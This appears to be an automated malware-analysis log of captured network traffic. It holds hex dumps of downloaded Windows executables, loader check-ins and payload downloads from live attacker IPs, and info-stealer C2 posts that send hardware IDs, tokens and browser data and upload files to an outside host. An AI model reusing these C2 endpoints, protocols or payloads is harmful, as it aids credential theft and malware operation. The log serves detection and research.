00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008410001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008411001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008412001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 31 44 35 31 41 39 41 37 46 32 34 32 37 37 34 30 34 34 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"311D51A9A7F2427740442------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"mars------GCBGCGHDGIEGCBFIEGCB--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="message"browsers------HIIIJDAAAAAAKECBFBAE--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"plugins------JEBKKEGDBFIIEBFHIEHC--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="message"fplugins------HCBFIJJECFIEBGDGCFIJ--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.206Content-Length: 7219Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008413001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 459Content-Type: multipart/form-data; boundary=------------------------zYIjUu01B8kvKn9oMUOXBwData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 59 49 6a 55 75 30 31 42 38 6b 76 4b 6e 39 6f 4d 55 4f 58 42 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 74 6f 79 61 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4a 2d ba 8f 32 99 f4 3c 9a e5 59 8d 3a 00 09 8e a6 9e 2e 67 59 45 1d b9 9e 95 f2 dd 2b 7b da d9 4b bd 11 3f 29 2f 46 7d bb f6 08 49 59 1f 89 ef 5c 7f de ea a2 6d 04 7e e6 ac 01 2a 77 0f 67 89 99 f3 b7 cc 54 2c 4f e4 a5 c1 f4 ca a0 b4 f9 a4 e7 1e 7b f1 f9 4c a6 9d 5c 0b 64 2f 76 fe ac 71 70 fb e8 d0 1f fc f0 27 cd 85 93 77 7b 21 a8 3b 53 fa c4 a8 c7 bf e7 4f f1 0c ca 79 2a 21 0e 7f 41 4f 11 e9 16 29 30 51 c8 b8 4f 46 80 d2 71 51 85 09 25 95 d3 1f cd 77 32 a4 7e 28 f6 0b 01 79 d3 65 a3 2d 59 d7 2b 7c 1c 56 25 cc c7 1c 3e 34 68 60 08 e6 1d 4a 72 94 f8 22 da f2 67 8e 5e f6 93 b7 b8 27 e1 b4 15 8f 36 64 91 4a 2e f3 e6 95 11 52 d9 88 f0 8b bb 3e ae 0c 63 eb 0c 75 be 09 0b 5b 81 87 f9 b4 3e 05 7b de cf 6a 3e 18 46 e7 20 33 1e 06 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 59 49 6a 55 75 30 31 42 38 6b 76 4b 6e 39 6f 4d 55 4f 58 42 77 2d 2d 0d 0a Data Ascii: --------------------------zYIjUu01B8kvKn9oMUOXBwContent-Disposition: form-data; name="file"; filename="Yitoyag.bin"Content-Type: application/octet-streamJ-2<Y:.gYE+{K?)/F}IY\m~*wgT,O{L\d/vqp'w{!;SOy*!AO)0QOFqQ%w2~(ye-Y+|V%>4h`Jr"g^'6dJ.R>cu[>{j>F 3--------------------------zYIjUu01B8kvKn9oMUOXBw--
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 92127Content-Type: multipart/form-data; boundary=------------------------rtMTJDf6LzDUvvjjT9fnWgData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 74 4d 54 4a 44 66 36 4c 7a 44 55 76 76 6a 6a 54 39 66 6e 57 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 67 6f 76 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a db b1 6a 42 be 67 1d ea 98 e3 47 62 b9 a2 61 27 7c bc 81 7b 6c 2f 36 8c 3e 1a d6 0c 00 23 95 b8 6c 45 ef a6 46 c3 3c 6c f1 50 62 8e 73 31 19 44 b2 3c 1b 3c 4c 3f ae 63 80 93 a2 0b ab 0a 43 07 da 7c f3 54 40 e6 9a 81 ac 3d 8d 70 b3 fb 9a 19 63 8f cb 6b 07 49 ec ff 84 a1 18 a5 37 32 c4 bc a5 ff 10 b9 64 ac 25 15 7d 90 a3 89 3d 8b a9 fe e9 b7 64 bd c9 c8 04 92 ff a9 22 98 70 f9 02 a0 8d 8b 19 41 57 55 37 e8 78 26 6d 7e f0 1f db 54 38 89 62 b6 f5 81 f2 b6 2a 38 a1 77 c0 32 ef 02 c6 37 22 68 16 3c a6 e2 9a 80 29 61 8a de 78 92 e3 28 a4 17 a7 1f 98 8a 1e 84 1b 0c 72 78 02 c8 99 b5 a3 2c ac 30 ce 70 57 72 ce cc 86 d4 14 a5 2a 3a d1 6c d2 fb 39 2e 1f 74 91 8f a1 5d 33 f6 b6 f4 01 5e 48 79 58 5d 94 b6 15 b4 60 e2 8a e4 63 1c d0 a8 d3 48 b7 b0 90 59 de f6 ef 91 00 13 86 d6 4a b5 ed c8 6c 2b 83 5c d5 47 f4 5e d8 3c 2b f5 d9 c5 72 7d 80 a6 1b 9c 5f be 2d b8 e1 4a fd 38 9d 55 82 c6 e9 7c 19 50 b5 9d 33 a2 df 19 9a 75 97 45 b9 47 22 f5 b2 28 b2 24 27 a1 c6 f6 33 f5 0d 86 dd 2d 0f 24 04 ee fb fc f8 08 d0 7c 18 3d 57 37 3a df d3 23 82 26 3e a0 79 7f 15 c1 1c b7 c6 5e 6b a7 37 eb fb 42 20 94 bb 6e 3d c7 61 d0 e5 68 9d c6 dd 40 e7 2e df 93 c1 d9 a1 c1 d5 0a b8 06 7c a5 2d 5b d4 21 f0 19 53 ec 29 b4 bb 70 5e 3f 9d ef 61 83 2e 4e 4a 5c 35 80 12 ec 45 cf e6 be 4b d3 03 27 32 94 4a e4 40 7f 0f 2a 0a ed 9e 66 04 45 7d 18 47 3d 67 